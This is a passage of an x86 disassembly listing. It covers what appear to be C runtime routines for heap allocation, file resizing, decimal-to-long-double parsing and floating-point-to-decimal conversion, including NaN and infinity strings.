short loc_424E81 mov eax, dword_4DC908 cmp eax, 3 jnz short loc_424E4D mov eax, [ebp+arg_0] cmp eax, dword_4DC900 ja short loc_424E6C push eax call sub_41E1CB mov edi, eax pop ecx test edi, edi jnz short loc_424E97 jmp short loc_424E6C ; --------------------------------------------------------------------------- loc_424E4D: ; CODE XREF: sub_424E01+30j cmp eax, 2 jnz short loc_424E6C cmp esi, dword_43C2F4 ja short loc_424E6C mov eax, esi shr eax, 4 push eax call sub_41EC6E mov edi, eax pop ecx test edi, edi jnz short loc_424EAB loc_424E6C: ; CODE XREF: sub_424E01+3Bj ; sub_424E01+4Aj ... push esi push 8 push dword_4DC904 nop call near ptr 27D0000h mov edi, eax test edi, edi jnz short loc_424EA5 loc_424E81: ; CODE XREF: sub_424E01+26j cmp dword_4DB2FC, 0 jz short loc_424EA5 push esi call sub_41F312 test eax, eax pop ecx jz short loc_424EAE jmp short loc_424E22 ; --------------------------------------------------------------------------- loc_424E97: ; CODE XREF: sub_424E01+48j push [ebp+arg_0] loc_424E9A: ; CODE XREF: sub_424E01+ABj push 0 push edi call sub_41B590 add esp, 0Ch loc_424EA5: ; CODE XREF: sub_424E01+7Ej ; sub_424E01+87j mov eax, edi loc_424EA7: ; CODE XREF: sub_424E01+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_424EAB: ; CODE XREF: sub_424E01+69j push esi jmp short loc_424E9A ; --------------------------------------------------------------------------- loc_424EAE: ; CODE XREF: sub_424E01+92j xor eax, eax jmp short loc_424EA7 sub_424E01 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4239DB loc_424EB2: ; CODE XREF: sub_4239DB+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DC5A0, esi jle short loc_424F05 loc_424EC1: ; CODE XREF: sub_4239DB+1528j mov eax, dword_4DB598 mov eax, [eax+esi*4] test eax, eax jz short loc_424EFC test byte ptr [eax+0Ch], 83h jz short loc_424EE0 push eax call sub_41B05B cmp eax, 0FFFFFFFFh pop ecx jz short loc_424EE0 inc edi loc_424EE0: ; CODE XREF: sub_4239DB+14F6j ; sub_4239DB+1502j cmp esi, 14h jl short loc_424EFC mov eax, dword_4DB598 push dword ptr [eax+esi*4] call sub_41B0B1 mov eax, dword_4DB598 pop ecx and dword ptr [eax+esi*4], 0 loc_424EFC: ; CODE XREF: sub_4239DB+14F0j ; sub_4239DB+1508j inc esi cmp esi, dword_4DC5A0 jl short loc_424EC1 loc_424F05: ; CODE XREF: sub_4239DB+14E4j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4239DB ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424F0A proc near ; CODE XREF: sub_423A33+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DC6C0 jnb loc_42503F mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DC5C0[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_42503F push 1 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_425049 push 2 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_425049 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_424FEC push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41B590 push 8000h push ebx call sub_425B44 add esp, 14h mov [ebp+arg_4], eax loc_424FA0: ; CODE XREF: sub_424F0A+BDj mov eax, 1000h cmp edi, eax jge short loc_424FAB mov eax, edi loc_424FAB: ; CODE XREF: sub_424F0A+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_424FC9 sub edi, eax test edi, edi jle short loc_424FDF jmp short loc_424FA0 ; --------------------------------------------------------------------------- loc_424FC9: ; CODE XREF: sub_424F0A+B5j cmp dword_4DB27C, 5 jnz short loc_424FDC mov dword_4DB278, 0Dh loc_424FDC: ; CODE XREF: sub_424F0A+C6j or esi, 0FFFFFFFFh loc_424FDF: ; CODE XREF: sub_424F0A+BBj push [ebp+arg_4] push ebx call sub_425B44 pop ecx pop ecx jmp short loc_42502C ; --------------------------------------------------------------------------- loc_424FEC: ; CODE XREF: sub_424F0A+71j jge short loc_42502C push 0 push [ebp+arg_4] push ebx call sub_42272B push ebx call sub_4238A2 add esp, 10h push eax nop call near ptr 2600000h mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_42502C mov dword_4DB278, 0Dh nop call near ptr 2690DCCh mov dword_4DB27C, eax loc_42502C: ; CODE XREF: sub_424F0A+E0j ; sub_424F0A:loc_424FECj ... push 0 push [ebp+arg_0] push ebx call sub_42272B add esp, 0Ch mov eax, esi pop edi jmp short loc_42504C ; --------------------------------------------------------------------------- loc_42503F: ; CODE XREF: sub_424F0A+1Aj ; sub_424F0A+36j mov dword_4DB278, 9 loc_425049: ; CODE XREF: sub_424F0A+4Ej ; sub_424F0A+63j or eax, 0FFFFFFFFh loc_42504C: ; CODE XREF: sub_424F0A+133j pop esi pop ebx leave retn sub_424F0A endp ; =============== S U B R O U T I N E ======================================= sub_425050 proc near ; CODE XREF: sub_4241CF+2Bp ; sub_4241CF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_425066 cmp ecx, esi jnb short loc_425069 loc_425066: ; CODE XREF: sub_425050+10j push 1 pop eax loc_425069: ; CODE XREF: sub_425050+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_425050 endp ; =============== S U B R O U T I N E ======================================= sub_425071 proc near ; CODE XREF: sub_42512A+40p ; sub_42512A+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 inc dword ptr [esi+8] loc_4250A3: ; CODE XREF: sub_425071+19j ; sub_425071+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250BB inc dword ptr [esi+8] loc_4250BB: ; CODE XREF: sub_425071+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_425050 add esp, 0Ch pop edi pop esi retn sub_425071 endp ; =============== S U B R O U T I N E ======================================= sub_4250CF proc near ; CODE XREF: sub_42512A+30p ; sub_42512A+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4250CF endp ; =============== S U B R O U T I N E ======================================= sub_4250FD proc near ; CODE XREF: sub_4256C2+1C8p ; sub_425BBA+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4250FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42512A proc near ; CODE XREF: sub_4251F1+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42519E push edi mov [ebp+arg_8], eax loc_425151: ; CODE XREF: sub_42512A+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4250CF push ebx call sub_4250CF lea eax, [ebp+var_10] push eax push ebx call sub_425071 push ebx call sub_4250CF mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_425071 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_425151 xor edx, edx pop edi loc_42519E: ; CODE XREF: sub_42512A+21j ; sub_42512A+9Fj cmp [ebx+8], edx jnz short loc_4251CB mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42519E ; --------------------------------------------------------------------------- loc_4251CB: ; CODE XREF: sub_42512A+77j mov esi, 8000h loc_4251D0: ; CODE XREF: sub_42512A+B9j test [ebx+8], esi jnz short loc_4251E5 push ebx call sub_4250CF add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4251D0 ; --------------------------------------------------------------------------- loc_4251E5: ; CODE XREF: sub_42512A+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_42512A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4251F1 proc near ; CODE XREF: sub_424518+17p ; sub_424545+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_42522C: ; CODE XREF: sub_4251F1+52j mov cl, [edi] cmp cl, 20h jz short loc_425242 cmp cl, 9 jz short loc_425242 cmp cl, 0Ah jz short loc_425242 cmp cl, 0Dh jnz short loc_425245 loc_425242: ; CODE XREF: sub_4251F1+40j ; sub_4251F1+45j ... inc edi jmp short loc_42522C ; --------------------------------------------------------------------------- loc_425245: ; CODE XREF: sub_4251F1+4Fj push 4 pop esi loc_425248: ; CODE XREF: sub_4251F1+AEj ; sub_4251F1+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4254CB ; default ; jumptable 00425254 case 10 jmp off_425692[eax*4] ; switch jump loc_42525B: ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 0 jl short loc_42526C cmp bl, 39h jg short loc_42526C loc_425265: ; CODE XREF: sub_4251F1+C4j ; sub_4251F1+118j push 3 jmp loc_425489 ; --------------------------------------------------------------------------- loc_42526C: ; CODE XREF: sub_4251F1+6Dj ; sub_4251F1+72j cmp bl, byte_43C508 jnz short loc_42527B loc_425274: ; CODE XREF: sub_4251F1+124j push 5 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_42527B: ; CODE XREF: sub_4251F1+81j movsx eax, bl sub eax, 2Bh jz short loc_4252A1 dec eax dec eax jz short loc_425295 sub eax, 3 jnz loc_425564 jmp loc_425324 ; --------------------------------------------------------------------------- loc_425295: ; CODE XREF: sub_4251F1+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252A1: ; CODE XREF: sub_4251F1+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252AA: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 1 mov [ebp+var_10], edx jl short loc_4252B7 cmp bl, 39h jle short loc_425265 loc_4252B7: ; CODE XREF: sub_4251F1+BFj cmp bl, byte_43C508 jz loc_42537F cmp bl, 2Bh jz short loc_4252F9 cmp bl, 2Dh jz short loc_4252F9 cmp bl, 30h jz short loc_425324 loc_4252D2: ; CODE XREF: sub_4251F1+207j cmp bl, 43h jle loc_425564 cmp bl, 45h jle short loc_4252F2 cmp bl, 63h jle loc_425564 cmp bl, 65h jg loc_425564 loc_4252F2: ; CODE XREF: sub_4251F1+EDj push 6 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_4252F9: ; CODE XREF: sub_4251F1+D5j ; sub_4251F1+DAj ... dec edi push 0Bh jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_425301: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 2 jl short loc_42530F cmp bl, 39h jle loc_425265 loc_42530F: ; CODE XREF: sub_4251F1+113j cmp bl, byte_43C508 jz loc_425274 cmp bl, 30h jnz loc_4254D9 loc_425324: ; CODE XREF: sub_4251F1+9Fj ; sub_4251F1+DFj mov eax, edx jmp loc_425248 ; --------------------------------------------------------------------------- loc_42532B: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_10], edx ; jumptable 00425254 case 3 loc_42532E: ; CODE XREF: sub_4251F1+184j cmp dword_43C504, edx jle short loc_425347 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425355 ; --------------------------------------------------------------------------- loc_425347: ; CODE XREF: sub_4251F1+143j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425355: ; CODE XREF: sub_4251F1+154j test eax, eax jz short loc_425377 cmp [ebp+var_4], 19h jnb short loc_42536F mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_425372 ; --------------------------------------------------------------------------- loc_42536F: ; CODE XREF: sub_4251F1+16Cj inc [ebp+var_8] loc_425372: ; CODE XREF: sub_4251F1+17Cj mov bl, [edi] inc edi jmp short loc_42532E ; --------------------------------------------------------------------------- loc_425377: ; CODE XREF: sub_4251F1+166j cmp bl, byte_43C508 jnz short loc_4253E6 loc_42537F: ; CODE XREF: sub_4251F1+CCj mov eax, esi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425386: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+var_4], 0 ; jumptable 00425254 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_42539F loc_425392: ; CODE XREF: sub_4251F1+1ACj cmp bl, 30h jnz short loc_42539F dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_425392 ; --------------------------------------------------------------------------- loc_42539F: ; CODE XREF: sub_4251F1+19Fj ; sub_4251F1+1A4j ... cmp dword_43C504, edx jle short loc_4253B8 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_4253C6 ; --------------------------------------------------------------------------- loc_4253B8: ; CODE XREF: sub_4251F1+1B4j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4253C6: ; CODE XREF: sub_4251F1+1C5j test eax, eax jz short loc_4253E6 cmp [ebp+var_4], 19h jnb short loc_4253E1 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4253E1: ; CODE XREF: sub_4251F1+1DDj mov bl, [edi] inc edi jmp short loc_42539F ; --------------------------------------------------------------------------- loc_4253E6: ; CODE XREF: sub_4251F1+18Cj ; sub_4251F1+1D7j cmp bl, 2Bh jz loc_4252F9 cmp bl, 2Dh jz loc_4252F9 jmp loc_4252D2 ; --------------------------------------------------------------------------- loc_4253FD: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp dword_43C504, edx ; jumptable 00425254 case 5 mov [ebp+var_24], edx jle short loc_425419 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425427 ; --------------------------------------------------------------------------- loc_425419: ; CODE XREF: sub_4251F1+215j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425427: ; CODE XREF: sub_4251F1+226j test eax, eax jz loc_4254D9 mov eax, esi jmp short loc_42548A ; --------------------------------------------------------------------------- loc_425433: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o lea ecx, [edi-2] ; jumptable 00425254 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_425443 cmp bl, 39h jle short loc_425487 loc_425443: ; CODE XREF: sub_4251F1+24Bj movsx eax, bl sub eax, 2Bh jz short loc_4254BF dec eax dec eax jz short loc_4254B3 sub eax, 3 jnz loc_425567 loc_425458: ; CODE XREF: sub_4251F1+2A4j push 8 jmp short loc_4254C1 ; --------------------------------------------------------------------------- loc_42545C: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], edx ; jumptable 00425254 case 8 loc_42545F: ; CODE XREF: sub_4251F1+276j cmp bl, 30h jnz short loc_425469 mov bl, [edi] inc edi jmp short loc_42545F ; --------------------------------------------------------------------------- loc_425469: ; CODE XREF: sub_4251F1+271j cmp bl, 31h jl loc_425564 cmp bl, 39h jg loc_425564 jmp short loc_425487 ; --------------------------------------------------------------------------- loc_42547D: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 7 jl short loc_425490 cmp bl, 39h jg short loc_425490 loc_425487: ; CODE XREF: sub_4251F1+250j ; sub_4251F1+28Aj push 9 loc_425489: ; CODE XREF: sub_4251F1+76j pop eax loc_42548A: ; CODE XREF: sub_4251F1+240j dec edi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425490: ; CODE XREF: sub_4251F1+28Fj ; sub_4251F1+294j cmp bl, 30h jnz short loc_4254D9 jmp short loc_425458 ; --------------------------------------------------------------------------- loc_425497: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+arg_18], 0 ; jumptable 00425254 case 11 jz short loc_4254C7 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_4254BF dec eax dec eax jnz loc_425567 loc_4254B3: ; CODE XREF: sub_4251F1+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254BF: ; CODE XREF: sub_4251F1+258j ; sub_4251F1+2B8j push 7 loc_4254C1: ; CODE XREF: sub_4251F1+85j ; sub_4251F1+103j ... pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254C7: ; CODE XREF: sub_4251F1+2AAj push 0Ah dec edi pop eax loc_4254CB: ; CODE XREF: sub_4251F1+5Dj ; sub_4251F1+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425254 case 10 jz loc_425569 jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254D9: ; CODE XREF: sub_4251F1+12Dj ; sub_4251F1+238j ... mov edi, [ebp+arg_8] jmp loc_425569 ; --------------------------------------------------------------------------- loc_4254E1: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], 1 ; jumptable 00425254 case 9 xor esi, esi loc_4254EA: ; CODE XREF: sub_4251F1+339j cmp dword_43C504, 1 jle short loc_425502 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_425511 ; --------------------------------------------------------------------------- loc_425502: ; CODE XREF: sub_4251F1+300j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_425511: ; CODE XREF: sub_4251F1+30Fj test eax, eax jz short loc_425531 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_42552C mov bl, [edi] inc edi jmp short loc_4254EA ; --------------------------------------------------------------------------- loc_42552C: ; CODE XREF: sub_4251F1+334j mov esi, 1451h loc_425531: ; CODE XREF: sub_4251F1+322j mov [ebp+var_1C], esi loc_425534: ; CODE XREF: sub_4251F1+371j cmp dword_43C504, 1 jle short loc_42554C movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_42555B ; --------------------------------------------------------------------------- loc_42554C: ; CODE XREF: sub_4251F1+34Aj mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42555B: ; CODE XREF: sub_4251F1+359j test eax, eax jz short loc_425564 mov bl, [edi] inc edi jmp short loc_425534 ; --------------------------------------------------------------------------- loc_425564: ; CODE XREF: sub_4251F1+99j ; sub_4251F1+E4j ... dec edi jmp short loc_425569 ; --------------------------------------------------------------------------- loc_425567: ; CODE XREF: sub_4251F1+261j ; sub_4251F1+2BCj mov edi, ecx loc_425569: ; CODE XREF: sub_4251F1+2DDj ; sub_4251F1+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_425651 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425595 cmp [ebp+var_45], 5 jl short loc_425589 inc [ebp+var_45] loc_425589: ; CODE XREF: sub_4251F1+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425598 ; --------------------------------------------------------------------------- loc_425595: ; CODE XREF: sub_4251F1+38Dj mov eax, [ebp+var_C] loc_425598: ; CODE XREF: sub_4251F1+3A2j cmp [ebp+var_4], 0 jbe loc_425647 loc_4255A2: ; CODE XREF: sub_4251F1+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_4255B0 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_4255A2 ; --------------------------------------------------------------------------- loc_4255B0: ; CODE XREF: sub_4251F1+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_42512A mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4255CF neg eax loc_4255CF: ; CODE XREF: sub_4251F1+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4255DA add eax, [ebp+arg_10] loc_4255DA: ; CODE XREF: sub_4251F1+3E4j cmp [ebp+var_24], ecx jnz short loc_4255E2 sub eax, [ebp+arg_14] loc_4255E2: ; CODE XREF: sub_4251F1+3ECj cmp eax, 1450h jle short loc_425619 mov [ebp+var_2C], 1 loc_4255F0: ; CODE XREF: sub_4251F1+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4255FC: ; CODE XREF: sub_4251F1+454j ; sub_4251F1+45Ej cmp [ebp+var_2C], 0 jz short loc_425662 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425619: ; CODE XREF: sub_4251F1+3F6j cmp eax, 0FFFFEBB0h jge short loc_425629 mov [ebp+var_30], 1 jmp short loc_4255F0 ; --------------------------------------------------------------------------- loc_425629: ; CODE XREF: sub_4251F1+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_425DDA mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425647: ; CODE XREF: sub_4251F1+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425651: ; CODE XREF: sub_4251F1+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425662: ; CODE XREF: sub_4251F1+40Fj cmp [ebp+var_30], 0 jz short loc_425677 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425677: ; CODE XREF: sub_4251F1+426j ; sub_4251F1+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4251F1 endp ; --------------------------------------------------------------------------- off_425692 dd offset loc_42525B ; DATA XREF: sub_4251F1+63r dd offset loc_4252AA ; jump table for switch statement dd offset loc_425301 dd offset loc_42532B dd offset loc_425386 dd offset loc_4253FD dd offset loc_425433 dd offset loc_42547D dd offset loc_42545C dd offset loc_4254E1 dd offset loc_4254CB dd offset loc_425497 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4256C2 proc near ; CODE XREF: sub_4245E9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_425724 mov byte ptr [ebx+2], 2Dh jmp short loc_425728 ; --------------------------------------------------------------------------- loc_425724: ; CODE XREF: sub_4256C2+5Aj mov byte ptr [ebx+2], 20h loc_425728: ; CODE XREF: sub_4256C2+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_42574E test edi, edi jnz short loc_42574E cmp [ebp+arg_0], edi jnz short loc_42574E loc_425739: ; CODE XREF: sub_4256C2+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_42594C ; --------------------------------------------------------------------------- loc_42574E: ; CODE XREF: sub_4256C2+6Cj ; sub_4256C2+70j ... cmp dx, si jnz short loc_4257CD mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425767 cmp [ebp+arg_0], 0 jz short loc_425776 loc_425767: ; CODE XREF: sub_4256C2+9Dj test edi, 40000000h jnz short loc_425776 push offset a1Snan ; "1#SNAN" jmp short loc_4257BC ; --------------------------------------------------------------------------- loc_425776: ; CODE XREF: sub_4256C2+A3j ; sub_4256C2+ABj test cx, cx jz short loc_425790 cmp edi, 0C0000000h jnz short loc_425790 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Ind ; "1#IND" jmp short loc_42579F ; --------------------------------------------------------------------------- loc_425790: ; CODE XREF: sub_4256C2+B7j ; sub_4256C2+BFj cmp edi, eax jnz short loc_4257B7 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Inf ; "1#INF" loc_42579F: ; CODE XREF: sub_4256C2+CCj lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_4257AE: ; CODE XREF: sub_4256C2+109j and [ebp+var_4], 0 jmp loc_425925 ; --------------------------------------------------------------------------- loc_4257B7: ; CODE XREF: sub_4256C2+C5j ; sub_4256C2+D0j ... push offset a1Qnan ; "1#QNAN" loc_4257BC: ; CODE XREF: sub_4256C2+B2j lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_4257AE ; --------------------------------------------------------------------------- loc_4257CD: ; CODE XREF: sub_4256C2+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea 